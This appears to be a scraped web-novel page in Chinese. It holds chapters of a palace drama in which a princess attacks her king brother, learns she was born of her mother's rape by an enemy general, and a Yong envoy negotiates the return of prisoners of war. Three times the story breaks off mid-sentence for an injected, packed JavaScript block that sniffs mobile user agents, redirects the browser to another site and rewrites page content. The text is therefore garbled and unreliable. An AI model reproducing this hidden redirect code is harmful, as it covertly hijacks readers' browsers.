康缇声音虚浮:“你老实说,此刻,你到底是谁的人?” 窦韦面不改色地反问道:“公主希望我是谁的人?” “哼。”康缇冷声一笑,脑子全乱了。 她分不清窦韦是否在配合康朔演戏,或许她从头至尾,都是奉了康朔的命令,借红熙之死,诛自己的心。 或许,她早就站在自己这边,才会跑了一晚上,去寻找指向康朔的证据,以减轻自己的负罪感。 又或许,二者皆有。 “那我能相信你吗?” “公主不必相信谁,真的始终假不了。” “好,好。” 康缇用通红的眼睛看着她,再未多言,转身往马房去了。 窦韦看着公主的背影,没有跟上去。 她知道公主要去哪儿、要见谁、要做什么事。 由她去吧,这样很好。 一个婢女的死,不该只是死了,不该只以某人零星的愧疚告终。 刀俎有刀俎的绝情,可鱼肉也有带刺的,即便终将被剐,至少也能磨磨那利刃。 ﹡ 春蒐的摔跤比赛,通常持续三天。 这日晌午,演武场上刚结束一场酣斗,日光正烈。王室宗亲与大雍使臣们皆要回帐中小憩,待午后继续观战。 这会儿,康朔已然起身,正与严修明并排,迈着闲适的步子,往场外走去。两人有说有笑,难得聊得如此愉悦。 就在这时,一阵嘶鸣声从守门出传来。两人抬眼望去,只见一批枣红色骏马飞奔而来,马上之人一袭绯红宫装,裙摆在风中翻飞。 是康缇。 那马在她的驱策下,横冲直撞,全然不顾前面有人,直直朝康朔冲来。两旁侍卫惊得纷纷闪避,有人试图上前阻拦,却被那疯癫的势头一一逼退。 康朔与严修明不禁驻足,再一看,完全是冲着这边来的。且抬眼间,那马儿就飞至跟前了。 两人眼一瞪,身子一闪,堪堪避过马蹄,却被这股势头破冲到两边,踉跄数步才勉强站稳。 另一边,康缇猛地一勒缰绳,马儿扬蹄嘶鸣,前蹄在空中扑腾了几下,溅起一片尘土。 不带尘埃落定,她已经翻身下马,顺手抽出马颈处挂着的马鞭,一手拖着它,一手提着裙,大步向康朔走来。 “你要干什么?”康朔蹙眉问道。 康缇没说话,她奋力扬手,冲着王兄的脸面就是一鞭。 “啪!” 康朔躲得快,这一鞭没抽着他,只打在地上,掸起一片尘土。 紧接着,康缇再次挥鞭。 “啪!” 这一鞭不及方才那鞭响亮,却也没抽到康朔,而是被一旁的严修明接住了。他空手握鞭,鞭尾顺着他掌力,一圈一圈绕在手腕上。 “康缇公主!” 康缇见严修明挡在康朔身前,愈发怒不可遏:“你让开!” “公主切莫冲动,到底发生何事?!” “我叫你让开!” 她要收回鞭子,可鞭子被严修明攥得死死的,怎么抽也抽不回来,双方就这样拉扯起来。 可严修明毕竟是个男人,还是武将出身,那力道不是常人能及的。拉扯期间,康缇不仅没要回鞭子,反倒被她牵扯着,一下子跌到他身前,整张脸都埋进了他的胸口。 “没事吧?”他扶起她的双肩,“可有伤着?” 康缇抬眼看着他,眼中都是怒火。明明先前还说相知相重,这会儿他竟帮着王兄挡鞭子。 她松开握着鞭子的手,一把推开他,仍觉得不解气,又上前一步,照着严修明的胸口,猛锤一拳。 严修明挨了一拳,并未气恼。他自信能够劝慰康缇,下意识伸手想拉她,想哄她。可康缇看都没多看他一眼,转头便朝康朔扑去。 “红熙是我的!” 她怒吼着,一把拨掉康朔头上的金冠,狠狠薅住他的头发,奋力向下扯。那力道之大,令康朔高大的身躯不得不斜着弯了下来。 “疼!疼!你放开!”康朔不得不护住自己的发根,与她对扯。 康朔不惧任何人的鞭子,但祸害他的头发不行。西康的统治者不同于常人,剪发、剃发等,皆有定时,不能无故损之。除非等到丧礼时,才须割发。 但康缇可顾不了那些。她发了狂一般,一边死命拽着王兄的头发,一边吼叫着:“红熙是我的!是我的!”。 “你给我松手!” “你凭什么?把红熙还给我!” …… 女人发起狠来,别有一番滋味。 漂亮的女人发起狠来,更是活色生香。 严修明在一旁看着,心中不禁悸动起来。想起早年家里那只红腹锦鸡,不得不承认,看这宠物一次比一次跳得高,确实有趣。 只是沉浸在这趣味的同时,心底也会有一瞬间恍惚,盼望这红腹锦鸡能够得偿所愿。 地上,兄妹两人扭打在一处。从站着打到跪着,从跪着打到躺着。康缇揪着康朔不放,康朔挡着她的拳脚,两人在黄土地上滚作一团,生生拱出一个浅坑。尘土飞扬,沾了满身满脸。 众人见这样打下去也不是办法,纷纷上前拉架。 来的都是行伍出身的莽汉,力气有的是,下手却没轻没重。七八只手同时伸过来,有的拽胳膊,有的扯衣襟,有的想把公主从王上身上扒开…… 康缇被扯得东倒西歪,却死也不松手,像一头被套住的小兽,拼命挣扎。 这时,也看不清是谁的粗手,一把攥住她胳膊,力道大得吓人,白嫩的皮肉上登时显出几道红印。 严修明看在眼里,眉头微微一皱。 他本可以继续站在一旁,但那几道红印落在眼里,太刺眼了。 于是,他撩袍挽袖,两三步上前,拨开那些粗厚的大手,并一把将这手的主人拽到旁边。然后他俯下身,伸手绕到康缇胸前,去揽她的双肩。 康缇早已红了眼,见有手伸过来,不管是谁,张口便咬。 “啊嘶——” 这一口正咬在严修明的小臂上。他吃痛,眉头紧皱,却没有松开。反倒咬紧牙,胳膊上青筋暴起,以一条臂挡在她面前,不让任何人碰她。 就在这时,严修明余光瞥见康朔腰间挂着一把短刀。那刀不知何时脱了鞘,刀刃寒光闪闪,正落在康缇小腿边上。稍不留神,便可能划伤她的腿。 严修明心头一紧,俯身凑到她耳边:“别动,有刀!” 康缇身子一顿,通红的双眼立马看见康朔腰间的短刀。 她没有躲开,而是挣出一只手,去够那把刀。借着严修明揽着她的力道,她挥起小臂,挡开那些伸过来拉架的手,刀尖直直刺向康朔。 康朔疾闪,头一歪,虽然没被刺中,但又被康缇薅住了头发。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236426|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“欻——” 一大把黑发,应声而落。 “哈哈哈哈哈……” 康缇左手攥着康朔的头发,右手拿着康朔的刀。就这样,大笑不停。 笑声穿过乱糟糟的人群,在演武场上空回荡,尖锐、凄厉。她浑身的力气都散了,软得像一团泥,被严修明拖了出来,架在怀里。 康朔在众人搀扶下,踉跄起身,抬手摸了摸参差不齐的发茬,特别扎手。他面露厉色,冲康缇嚷叫:“你疯了?!丧礼才割发,你想咒我?” “哈哈哈哈哈……” 康缇只顾着傻笑,眼角的泪都被挤出来了,混着脸上的尘土,全变成了黄泥。 而严修明半搂半架着这么一个软塌塌的人,一时竟有些手足无措。 他此番出使西康,看热闹有一手,可热闹到了自己怀里,还真是有些棘手。方才不知怎的,脑子一热就冲了上去,如今人就在自己身上挂着,只要他一松手,康缇就得倒下。 罢了。 严修明取过康缇手中的刀,丢到一边,然后揽着她的腿,一个横打,手臂一收,将整个人横抱起来。 “快给公主找个帐子休息。”他对众人道。 “好,这边。”一名侍卫赶紧给他引路。 “站住!”康朔的声音从身侧传来,“将这个疯子绑起来,押回去,将她闭门思过。” 侍卫们面面相觑,随即围了上来。 严修明后退几步,紧了紧抱着康缇的双手。 “上使,”为首的侍卫抱拳道,“请把公主交给我们。” 严修明低头,看了看怀里的康缇。 她嘴角还挂着笑容,可那笑声已经变成断断续续的抽噎,身子一抖一抖的,像一只淋了雨的雏鸟。还有她的手,死死揪着自己的衣襟。 霎时,他的心软成一滴水。 严修明抬起头,看向康朔,目光不卑不亢:“公主此刻心绪不稳,需要人照料,不适合押着回去。” 康朔盯着他:“这是我妹。我与她,是家事。不劳严正使操心。” “康王,康缇公主也是我大雍的……” “少拿你们大雍压我!”康朔打断他,上前一步,“严修明,你别忘了,这里可是金凉,是我西康的金凉!” “好。”严修明不打算退让,“不如这样,让康缇公主自己说,这到底算是国事,还是家事。若公主说是家事,我一个外人,确实不该插手;若公主说是国事,那我严修明今日在此,谁也别想押走她。” 康朔沉默了。 众人的目光,齐刷刷地汇聚在康缇身上。 她埋在严修明怀里的脸,终于慢慢抬了起来。那因抽泣而断断续续的呼吸,也渐渐恢复平稳。只是眼神呆呆的,像是早已从场中抽离,心绪不知飞到了哪里。 “公主?”严修明小声唤她,声音低得只有两个人能听见,“你且放宽心,累了就歇着。” 康缇听着他耳语般的话,眨动了下眼睛。 她又嗅到他身上,热腾腾的气味。也不知为何,她就是亲近这个外臣。一看见他,天大的委屈,都会缓过来几分。 在一个懂自己的人面前,无需多言。 康缇忽然轻声开口:“放我下来。” “啊?” “放我下来。”她说着,抬起一条腿探向地面,搂着他脖颈的手也松开了。 严修明依言将她放下,却仍虚扶着她的手臂,不敢松手。 站稳后,康缇理了理乱蓬蓬的头发,又拍了拍沾满黄土的衣裳,昂首挺胸,一步步走到康朔面前:“不用你押我,我自己回去。咱们太庙见,当着父王母后的面,你说个分明,说说这西康,哪样是你的,哪样是我的。说清楚了,今后咱们井水不犯河水!” 说罢,她转身,走向那匹枣红骏马。翻身上马时,她勒着缰绳略一停顿,侧过头,目光越过众人,落在严修明身上。 她深深地望了他一眼。 32. 一败涂地(5) 西康立国后,仿中原建制,修建太庙,将历代先王的牌位与各路神明供奉一堂。他们相信,最勇猛的君王,即便死了,也能在阴间驱策神明,为己所用。 故而太庙中的神明,也绝非面慈心善的模样。西康人晌午,那些泥塑金身的雕像,或持利刃,或握长戈,怒目圆睁,凶神恶煞。不知情的人乍一踏入,还以为进了阴曹地府。 康缇一夜没合眼,又与王兄扭打了一场,费尽了力气。从演武场出来时,她整个人都昏昏沉沉的,像踩在云里,也不知怎么就到了太庙。她晃晃悠悠下了马,晃晃悠悠进了大殿,又晃晃悠悠寻着一个蒲团,身子一沉,坐了下去。 本来只想歇一歇,可这一歇,眼皮便沉得睁不开了。 一直到夜幕,宫灯初上。 太庙内,灯火幽幽,焚香氤氲。白日里凶神恶煞的雕塑,此刻更添了几分阴森,竖着一双双狰狞的眼睛,盯着殿中之人。 康缇悠悠转醒。 她睁开眼,眼前赫然立着一道黑影。那影子像一座小山,几乎挡住了身后的火光,只有轮廓被勾出一圈昏黄。她乍一看,还以为是哪尊雕像活了过来,心头猛地一跳。 揉了揉眼睛,再仔细看,哪里是什么雕像。 是康朔。 他就靠在一把太师椅上,也不知坐了多久。烛火在他身后跳动,他的脸上一点光都没有,可一双眼睛却始终亮着,像夜间捕食的野兽。 “醒了?”他问。 康缇没有说话。她从蒲团上直起半截身子,拍了拍手肘上的灰,坐在那儿,也不看他。 “饿了吗?” 康朔微微侧头,冲身后的内侍摆了摆手。 那内侍会意,躬身退下,不多时便捧着托盘回来。托盘上放着一碟热气腾腾的胡麻饼,金黄酥脆,香气四溢。 内侍将托盘递到康缇面前。 康缇看了一眼康朔,仍旧没有说话,伸手抓起一张饼,低头便咬。 一开始吃得有些急,饼渣簌簌地往下掉,落在一尘不染的金砖上,格外扎眼。几口下肚,腹中有了底气,她这才放慢速度,一口一口地嚼着。 康朔就靠在椅中,静静地看着她吃。那目光饶有兴致,像是在看一只闹脾气的猫。 “好吃吗?”他问。 康缇不答,只管吃饼。 康朔也不等她回答,自顾自地往下说:“你从小就爱吃这个。宫里选聘庖厨,须得做一手好胡麻饼。可这好与不好,我是真尝不出来。毕竟,我最讨厌的就是这东西。” 康缇的咀嚼忽然顿住了。 她咽下口中的饼,抬起眼,冷笑着揶揄道:“真是巧了。我吃了十几年,都没听你说过不爱吃,这会儿倒突然讨厌起来了。王兄的口味,还真是难以捉摸。” 康朔看着她,目光愈发深沉:“你觉得我在骗你?” “比骗还讨厌!”康缇将手中的饼重重放回碟中,“王兄,你还当我是小孩儿呢?连一张饼也要拿去编瞎话哄我?怎么,为了我的口味,你隐忍十多年,就因为你是世上最好的王兄?只要是我喜欢的,你哪怕再讨厌,也要装作喜欢?” 她站起身,盯着他:“王兄,我用你装吗?你累不累啊?” 康朔微微仰头,看着妹妹,目光深沉、柔和:“我只是怕扫了你的兴。从前你爱吃的,总要留一口给我。我习惯了。只要你喜欢,怎样都行,我都会全力配合。” “哈!”康缇不禁冷笑一声,“全力配合?先前我喜欢何瑛姃,你全力配合,把她据为己有?还有红熙,我要带走她,你又全力配合,把她害死?” “呵呵,”康朔低下头,笑了一声,又抬起头,语重心长道,“缇儿,我的和你的,原本不冲突。我不明白你为何较这个真?何瑛姃当了王妃后,对你不好吗?至于红熙……”他顿了顿,笑意淡了下去,“头发都被剃成那样,连根簪子都簪不上,不够丢人吗,我怎能让她随你出嫁?” “那是我的事,与你无关!”康缇冲他喊了一声。声音在空旷的大殿里回荡,惊得烛火都颤了一颤。 康朔闻言,猛地站起身:“怎么与我无关?!” 他动作太快,椅子被带得向后滑了半尺,发出“吱嘎”一声尖锐的响动。这声音还没落地,他的怒音又炸开,比方才康缇那一声,更响、更刺耳。 “只要和你有关的,都和我有关!康缇,你记住,即便是嫁去大雍,你也还是我的人!” 康缇看着他,听着他,心中的怒火正在一点点聚集。 “你这个疯子,鬼迷心窍!”她抬起手,指向一旁摆放着历代先王牌位的神龛,“你敢当着父王母妃的面,说说你那龌龊的、肮脏的、不可告人的心思吗?” 康朔顺着她的手指望去。 神龛上,一排排牌位静默地立着,烛光在它们身上投下深深浅浅的阴影。其中便有先王和先王后。 那日,康缇将二人的牌位抢走,康朔又命人重新做了,依旧摆在原来的位置上。 一想到那两张早已远去,早已模糊的脸,康朔不禁笑了。他收回目光,重新对上康缇的眼神,依旧挂着笑意。只是这笑意,混着许多说不清道不明的东西,有无奈,有决绝,还有不屑一顾。 “学会威胁我了?” 康朔往前一步。 康缇下意识后退,却被他一把拉住手腕,拽到自己跟前。 “缇儿,”他理了理妹妹耳畔的碎发,“我敢说,你敢听吗?” 殿中灯火跃动,依旧照不清康朔的脸,可他那双长眸,近在咫尺,散发着幽光,在突出的眉骨下,愈发阴森可怖。 康缇脖颈微动,干咽了一下,强撑着气势:“我有何不敢?” “好。” 话音未落,康朔一把拽过康缇,大步朝神龛走去。他步子迈得太快,康缇几乎是被拖着走的,踉跄了好几步,膝盖磕在地砖上,疼得她嚷嚷了几声。可康朔没有停。 一直拖到先王的牌位前,他才终于停下。 然后他松开手,像扔物件一样,将康缇推到蒲团上,然后单膝跪下。康缇还来不及爬起来,他已单膝跪在旁边,一手撑着膝盖,一只手猛地抬起,钳住康缇的后颈,按着她不得起身。 康缇被迫仰起头,看向神龛上那一排排牌位。其中有两座新做的,乌木挂着新漆,在灯光中泛着幽幽的光。 “你还记得父王和母妃吗?”康朔的声音从耳边传来,低沉,平缓,像在说一件与自己无关的事。 “废话!” 康缇使劲去掰他钳在后颈上的手,掰不开就掐他、扣他,可康朔却像感觉不到疼似的,仍旧自顾自地说着。 “你还记得他们?” “我记得!” “不,你早忘了!”他的声音有些嘲弄的意味,“你那么小,怎会记得?你只记得我,因为是我把你养大的!父王他压根不知道,也幸亏父王不知道,否则你也活不到今天。” 康缇的手忽然停住了,勉强转头看着康朔:“你什么意思?” 康朔对上她惊惧又疑惑的眼睛,嘴角牵出一丝笑意:“康缇,你根本不是父王的孩子!” 康缇怔了怔,旋即发出尖锐的怒吼:“胡说!” 她奋力挣扎,那力道一撤,康缇整个人失去重心,扑倒在地,双肘磕在金砖上,发出一记闷响。 她趴在地上,顾不上疼,扭头瞪着他,双眼通红:“康朔,你什么疯话都敢说!” “我说的都是真的。”康朔看着她狼狈的样子,笑道,“你根本不是父王的孩子,你的生父,是处密部那个畜生!” 处密部? 康缇呆住了。脑子里一片空白,像被人当头敲了一棍。 “你、你在说什么,我听不懂。” 康朔向前倾身,扶着她,坐直了身子,然后慢条斯理地帮她整理散乱的鬓发,手指穿过发丝,一下,又一下。那动作像在拂去花瓣上的露水,温柔得令人毛骨悚然。 “你还未出世,当然听不懂。” 烛火跳动,将两个人的影子投在地上,长长地、深深地,交叠在一起。 “可我经历了一切。” ﹡ 康朔记得清楚。 十四岁那年,父王倾尽举国之力,东征大雍,不料被盟友处密部背刺。他们乘虚而入,杀入金凉城,将康朔和母妃一同掳走。 彼时,也是这般浓稠的夜晚,处密部左大将忽勒罕命人将康朔绑在帐柱上,而母妃则被他拖入内帐中。 隔着一层薄毡,他听见忽勒罕野兽般的喘息,和母妃压抑的呜咽声绞在一起,此起彼伏。那些声音像烙铁一样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238418|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反复熨烫着他。 十四岁的少年,身体正在变化,距离成为一个真正的男人,只有一步之遥。可就在这一步的距离,他被迫以最耻辱的方式,隔空体验了一次。 当时的康朔全身战栗,血液忽冷忽热,身体有了不该有的反应。他的心被奋力撕扯,撕开一个巨大的口子,里面是恐惧、憎恶、暴怒、耻辱和正在萌芽的情欲。 得益于母妃的牺牲,母子二人活了下来。 那晚,忽勒罕从帐中出来,丢了一张胡麻饼给他。饿了两天的康朔,就着眼泪,狼吞虎咽,吃下了这张饼。 也是从那时起,他痛恨这张饼的味道。 半年后,父王联合乌护部杀回,血洗处密,夺回了他们。 彼时,母妃已怀有身孕。归来当夜,她紧紧抓着康朔的手,眼中满是哀恸与忧虑:“朔儿,忽勒罕的事,千万不能告知你父王。这个孩儿,就是你父王的骨肉,是你的手足。” 康朔看着母亲消瘦的脸,哽咽着点了点头。 之后,康缇带着秘密降生,粉糯糯的一个团子,于康朔而言,是一颗裹了蜜的毒药。她是母妃受辱的活证,是流着异族血脉的杂种,却也是他一母同胞的亲人。 康朔看着襁褓中的妹妹,她胡乱挥舞着小手,一把抓住他的辫发上的宝石,接着便“咯咯”地笑。那一刻,某种复杂的悸动,撞了一下他的心口。 终于,康朔伸出手,抱起妹妹,将头埋在襁褓里,吻了她的额头。 不能恨,不能弃,便只能爱。 他要像母妃一样爱护妹妹,甚至比母妃更爱。他是王,他的爱意与权柄能掩盖一切污浊,包括血脉不纯的妹妹。他会将康缇养成最完美的公主,成为真正的西康明珠。 这么多年过去,康缇虽性情桀骜难驯,但确实未曾辜负王兄的期望。 康朔轻轻拨去她脸上的碎发,借着灯火,审视着这张脸。她生得风华正茂、倾国倾城。更重要的是,她眉宇顾盼间,尽是母亲的神韵。 他怎么可能不动心。 可越是动心,他便越发厌恶自己。越是自我厌弃,他便越发扭曲、偏执、不择手段地对待康缇。仿佛只有把她攥碎了、揉烂了、融进自己骨血里,才能洗清那根扎在心底的刺。 “缇儿,你不是想说个分明吗?来,你告诉我,这西康上下,哪样是你的?只要你说得出,我都给你。” 康朔说话这时,一如既往地温柔。 而康缇却不寒而栗。 她张了张嘴,想说什么,又不敢说。她发现自己又哑了。 不,不是哑。是丢了魂。 她听得见康朔的声音,听得见火光闪烁“噼噼啪啪”的声音,听得见门窗木板受冷变形的“吱嘎”声,甚至能听见焚香时若有若无的“嘶嘶”声…… 却唯独听不见自己的声音。 此时此刻,她该作何感想? 一个不属于西康的人,却以公主之名,享受着举国上下的供奉,享受着君王的无限恩宠,她该作何感想? 她连眼泪都没理由流。 康朔看着失魂落魄的妹妹,一双漂亮的杏眼空洞涣散,再没有往日与他较劲时的光亮。他忽然感到一阵心痛。 但奇怪的是,与痛并生的,竟是一种久违的心安。 终于。 她终于知道了。 终于不再是只有他一个人,扛着那夜的记忆、扛着这张饼的味道、扛着那根永远拔不出来的刺。 他松开康缇,起身走向那张盛着胡麻饼的托盘。它就搁在地上,里面的饼早就凉了。 康朔俯下身,拈起半块,上面参差不齐的缺口,是康缇咬过的。他把嘴唇凑上去,就着妹妹咬过的地方,也咬了一口。 饼很凉,嚼起来和多年前那张饼的味道一模一样。嚼着嚼着,他忽然感到眼眶发热,眼泪涌了出来,顺着脸颊往下淌。 “呵。” 康朔猛地吞咽一口,扬起手,将剩下地半张饼狠狠摔在地上。 “啪!” 碎屑四溅。 他踩着这饼,头也不回,大步朝殿外走去。 脚步声渐渐远去。夜风灌进来,吹得烛火一阵乱晃。 殿中神明环绕,凶神恶煞,怒目圆睁,皆俯视着那个跪在地上、一动不动的公主。 33. 俘虏(1) “哗啦——” 一只瓷杯坠落,摔在地板上,碎裂的声音在清心台中回响。 “严国公!” 榻上端坐的周兆安神色凝重,一边扯着严修明的袖子,一边压低声音劝道,“快坐下,坐下说。” 严修明一动不动,面露愠色,双眼直勾勾盯着对面的康朔,不发一言。 康朔故意不看他,挑了挑眉,不紧不慢地拿起食箸,夹了一口案面上的新鲜的蕨菜,细细品味起来。咽下这一口,他才缓声道:“嗯,这个不错。蕨菜配春韭。严正使,你也尝尝。” 说罢,他给婢女一个眼神,那婢女赶紧上前,给严修明布菜。 严修明瞥了一眼碗里的菜,又见周兆安不断给他使眼色,才压下一口气,重新坐回席位上。 “这就对了嘛。” 康朔道:“战俘的事,并非本王为难你们,实在是民意不可违。他们想做我西康的子民,本王就算不允,他们也会偷偷摸摸、自作主张,与我西康女子通婚生育。你说,本王还能挨个盯着吗?如今这些人,成家的成家,立业的立业,也算是安居圆满。你难道非要逼迫他们吗?” 严修明不语,一双深邃浓郁的眼睛,只一味盯着康朔,双手不知不觉攥成拳头,仿佛下一瞬就要掀翻一桌案的菜肴。 周兆安见势头不对,连忙从旁说和,生怕此番谈崩了,继而影响到迎亲事宜。 说起来,使团早该启程回雍了,偏偏这战俘交接出了岔子。 西康方面答应送还一千雍兵,可到了清点人数时才发现,哪里有一千人,不过六百余人,还都是老弱病残。 老弱病残也就算了,登记造册时又发现,其中一大半人,要么不会中原方言,要么说不清家住哪里。这分明是拿西康人充数的。 至于那些青壮男,要么被编入西康军队,要么被当地同化,尤其是善工者,早早被留用了。 为此,严修明不得不再次与康朔谈判。 这一次,不欢而散。 出了清心台,严修明面色阴沉,大步流星,每走一步,仿佛都要将西康王宫的地砖踩碎。而周兆安跟在他后面,一路小跑,半句话都不敢多说。 他总觉得,这位卫国公,好像有哪里不对劲。 初见严修明时,他宽厚随和,与人亲近;处理起外务来,稳重干练,滴水不漏。可自那次春蒐,他从演武场回来,就像变了个人似的。 平日里除了公事,鲜少与众人闲聊。经常见他一个人在院中舞刀弄剑,一舞便是大半夜,也不知那刀剑跟他有什么仇。 而且一直以来,严修明对迎亲事宜,不可谓不上心。总是拐弯抹角地打听公主的消息,什么脾性,什么喜好,什么忌讳,事无巨细。周兆安差点以为,他是想讨好公主,为日后进入中枢,铺垫人脉。 可近来,他又对公主的事绝口不提一字。 实在搞不懂。 二人很快走到前庭广场。在偌大一片空地,严修明突然停住了。 他转头,向东边望去。 那里是王廷的元台。 原先平整的地面,如今凸起了一小块。那是几块新砖。 先前严修明用枪头扎在砖缝中,借力飞身上去,接住康缇。当时损坏的砖块,如今全被工匠撬掉,要换上这几块新的了。 “严国公,怎么了?”周兆安问。 “没事。”严修明撤回目光,继续往前走。 回到西华馆,也不得清净。 此刻,馆内忙得脚不点地。使团要启程返雍,满院子都是搬运行李的仆从,捆扎箱笼的、清点驮马的、核对文书的,各司其职,乱中有序。 严修明回来后,并未去休息。他走在院中,一边检视那几辆即将载满贡品的辎重车,一边听管事逐一汇报各项事宜。车轮、车轴、油布、绳索,一样一样看过去,他不时点点头,或是低声交代几句。 正使马不停蹄地忙活,副使哪敢自己去休息。 周兆安只能跟在他身侧,同他一起。 走了几步,他终于憋不住,凑过来压低嗓子:“严国公,您听说了吗?” “听说什么?”严修明没看他,只伸手按了按一辆车的车轮,试试稳不稳。 “那西康公主又哑了,您信吗?” 康缇。 又是她。 严修明一听有人提及此人,便感到呼吸顿了一下。 “她啊。”严修明故作漫不经心,“八成还是装的。” “我看也是。”周兆安嘿嘿一笑,“这对冤家兄妹,上辈子是结了什么仇?您说,公主去了兴安,该不会还接着装哑吧?这能入陛下的眼吗?” “那是她的事。”严修明语气淡淡的,“咱们只管把人平安送到便是。” 说话间,前头忽然传来一阵嘈杂。 一个仆从搬着箱笼下台阶,一脚踩空,箱角磕在地上,盖子震开半边,里头的东西哗啦啦滚了出来,有几匹绸缎、几卷文书,还有一只装着杂物的藤筐。 严修明快走几步,上前一把扶住那摇摇欲坠的箱笼,又弯腰去捡滚落的东西。 那仆从吓得脸都白了,连连告罪。 可严修明就像没听见一样,他盯着地上绯红色的绸缎,一动不动,失了神一般。 周兆安见状,摆了摆手,让仆从该忙什么忙什么去,然后俯身到近前。 “严国公?” “严国公?” “对了!” 严修明忽地转头,一张脸快贴上了周兆安,吓了他一跳。 “哎呦哎呦,”他忙后退一步,抚着胸脯,“严国公,您说话就说,怎的一惊一乍的。” 严修明站起来问道:“咱们备用赏赐各州府的绸缎,还有多少?” “这……我得查查。” “赶紧去查。”严修明道,“还有银两,所剩几何,一并报我。” “好,我这就去。”周兆安转头要走, “等等。”严修明叫住他,“你随后吩咐支度官去查吧,先随我去一趟城北营房。” 周兆安一愣:“这会儿?” “嗯。” 严修明抬脚便往外走。周兆安看了看天色,又看了看他的背影,叹了口气,跟了上去。两人在译礼馆主簿赫连文的引导下,拐过几条街巷,到了城北那处营房。 金安城北原本没有营房,如今所谓的营房,是旧仓库改的。这里地方不大,但好歹有瓦遮头。 说是营房,其实是旧仓库改的,一片矮墙围着的几排瓦房。院子不大,黄土夯的地面。院墙根儿支着几口大锅,正冒着热气,炊烟混着暮色,在院子里缓缓飘荡。 严修明和周兆安从车上下来,推门进去。 院子里,三三两两聚着些人。有的蹲在地上,有的靠着墙根,有的就着一块磨刀石磨着钝了的匕首。听见门响,一道道目光齐刷刷射过来。 “银青……”随从刚开口,要报各位大人的名,却被严修明抬手止住。 他一步一步往里走,目光从那些麻木而警惕的脸上掠过。 “严、严将军?” 一个沧桑的声音从身后传来。 严修明转身,只见一个六十来岁的老人,拄着拐杖,一瘸一拐地从人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258990|195086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群中穿过来。 “可是……严将军?”他走得很慢,眼睛始终注视着严修明,像是要把他的脸看穿。 “你认得我?” “我、我认得严将军。”他上上下下打量着严修明,看了很久很久,“像,真像!大人可是严定山将军的后人?” 严修明心头一动:“是,严定山正是家父。” 老人一听这话,眼泪顺着沟壑纵横的脸往便下淌。 “老天有眼!老天有眼啊!” 他一把攥住严修明的手腕:“公子,我叫郑大牛,河东人氏。当年给严将军喂过马。八年呐,我跟严将军打过八年仗,从河西打到漠北……” “严将军待我恩重如山,我这条命是他从死人堆里捡回来的!后来他走了,我去了别的营,混得一日不如一日。前年打了败仗,让人俘虏了,在这鬼地方蹲了一年多……我以为这辈子就烂在这儿了……” 看着老人悲怆的神情,严修明心有戚戚,反手回握住他那枯瘦的手:“放心,我此番以使节身份来金凉,正是接诸位回家的。” “哦,您就是大雍来的使节?您……” 老人怔了怔,拐杖一扔,“扑通”一声跪在严修明面前,又涌出一波眼泪:“我就知道,严将军哪怕驾鹤西去,也不会抛下咱们。老天有眼,小严大人来了!您算可来了啊……” 严修明赶紧俯身,双手扶住老人的胳膊:“老人家,起来说话。” “不不,”老人一个劲儿地摇头,“公子,公子,您听我说。” “您说。” “我有个儿子,叫丁长耕,今年二十三了。我们爷俩一块儿被俘虏的,可到了金安城,他就被拉去北山采石,一直没回来。一年多了,也不知是死是活。公子,您能不能帮我寻寻他?他若活着,我带他回家,他娘还在家等着呢。他若死了……好歹给我个信儿,让我知道往哪儿烧纸……” 闻言,严修明喉咙一紧。 难就难在这。 但摸到那绯红色绸缎时,他便想好了应对之策。 “好!” 老人闻言,大喜过望,以头抢地,“嗵、嗵、嗵……”连着磕了好几个响头。 好不容易给他扶起来,老人又颤颤巍巍转过身,对一众雍兵道:“兄弟们!听见没有!这是严将军的公子!他来接咱们回家!” 人群一阵骚动。 严家乃大雍开国元勋,世代忠烈,在军中威望极重。即便不是严家麾下的士卒,也听说过那句“严郎死国,以骨为疆”。 虽然严定山死后,门楣渐冷,但这个家族以血肉之躯铸就的忠勇神话,俨然刻进了雍人的记忆里。 而今严修明立在这里,就好像昔日战神复活,再次燃起了众人的热血。 老兵们浑浊的眼睛闪着光。一个个或残缺、或病弱的身体,拼命往前挤,伸出无数皱皱巴巴的手,向这个年轻人挥舞。 “严将军!” “严将军!” …… 呼声如潮,一浪高过一浪,在严修明耳中回响。 他不知这“严将军”说的是他,还是他父亲,亦或是严家先辈。可目光扫过众人时,还是会热泪盈眶。 无数希冀,感召着严修明的心。 他往前走了几步,走进人群中央。然后双手抱拳,高举过头顶,向众人深深一揖。 “诸位,朝廷知道你们受苦了,特派我来金凉,接你们回家。诸位且放心,我严修明不会白来一趟金凉。既然要接诸位回家,便一个都不会少。” 